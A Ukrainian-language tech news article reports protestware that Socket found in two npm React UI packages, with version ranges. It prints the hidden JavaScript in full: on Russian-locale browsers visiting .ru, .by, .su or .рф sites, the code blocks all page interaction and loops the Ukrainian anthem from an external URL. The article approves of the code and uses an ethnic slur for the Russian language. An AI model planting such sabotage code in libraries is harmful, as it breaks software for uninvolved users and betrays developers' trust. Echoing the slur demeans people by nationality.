У двох npm-пакетах знайшли код, що вмикав гімн України на російськомовних сайтах
Команда з безпеки Socket знайшла в двох популярних npm-пакетах прихований код, який впливає на користувачів із російською мовою браузера. Якщо вони заходять на російські чи білоруські сайти, сторінка перестає реагувати на мишку і починає грати гімн України.
Мова йде про два пакети: @link-loom/ui-sdk та @link-loom/react-sdk. Вони створені одним і тим же розробником і використовуються для побудови інтерфейсів у вебдодатках на React. Всього таких пакетів на npm — понад 60 версій. І кілька десятків із них містять приховану логіку.
Заражені пакети містять понад 100 000 рядків коду. Приблизно через 5000 рядків у модулі /dist/ui-sdk.cjs.js вставлено код:
// Dear russian users visiting russian sites. Let's have fun.
if (typeof window !== 'undefined' && /^ru\b/.test(navigator.language) && location.host.match(/\.(ru|su|by|xn--p1ai)$/)) {
var now = new Date();
var initiationDate = localStorage.getItem('swal-initiation');
if (!initiationDate) {
localStorage.setItem('swal-initiation', "".concat(now));
} else if ((now.getTime() - Date.parse(initiationDate)) / (1000 * 60 * 60 * 24) > 3) {
setTimeout(function () {
document.body.style.pointerEvents = 'none';
var ukrainianAnthem = document.createElement('audio');
ukrainianAnthem.src = 'https://flag-gimn.ru/wp-content/uploads/2021/09/Ukraina.mp3';
ukrainianAnthem.loop = true;
document.body.appendChild(ukrainianAnthem);
setTimeout(function () {
ukrainianAnthem.play()["catch"](function () {
// ignore
});
}, 2500);
}, 500);
}
}
Якщо користувач:
- має кацапську мову в браузері;
- заходить на сайт із доменом
.ru,.by,.suабо.рф; - і робить це повторно, через кілька днів,
тоді сторінка:
- блокує всю взаємодію;
- автоматично вмикає гімн України, який грає по колу.
Зупинити це звичним способом не вийде, бо взаємодія з сайтом повністю заблокована.
Наразі такий функціонал доступний лише в певних версіях:
- У @link-loom/ui-sdk — з версії 1.0.6 по 1.0.99
- У @link-loom/react-sdk — з 1.0.100 по 1.0.151
У новіших версіях, на жаль, цієї функції вже немає, а за останніми оновленнями видно, що автор повністю переробив пакети з чистого аркуша.

6 коментарів
Додати коментар Підписатись на коментаріВідписатись від коментарів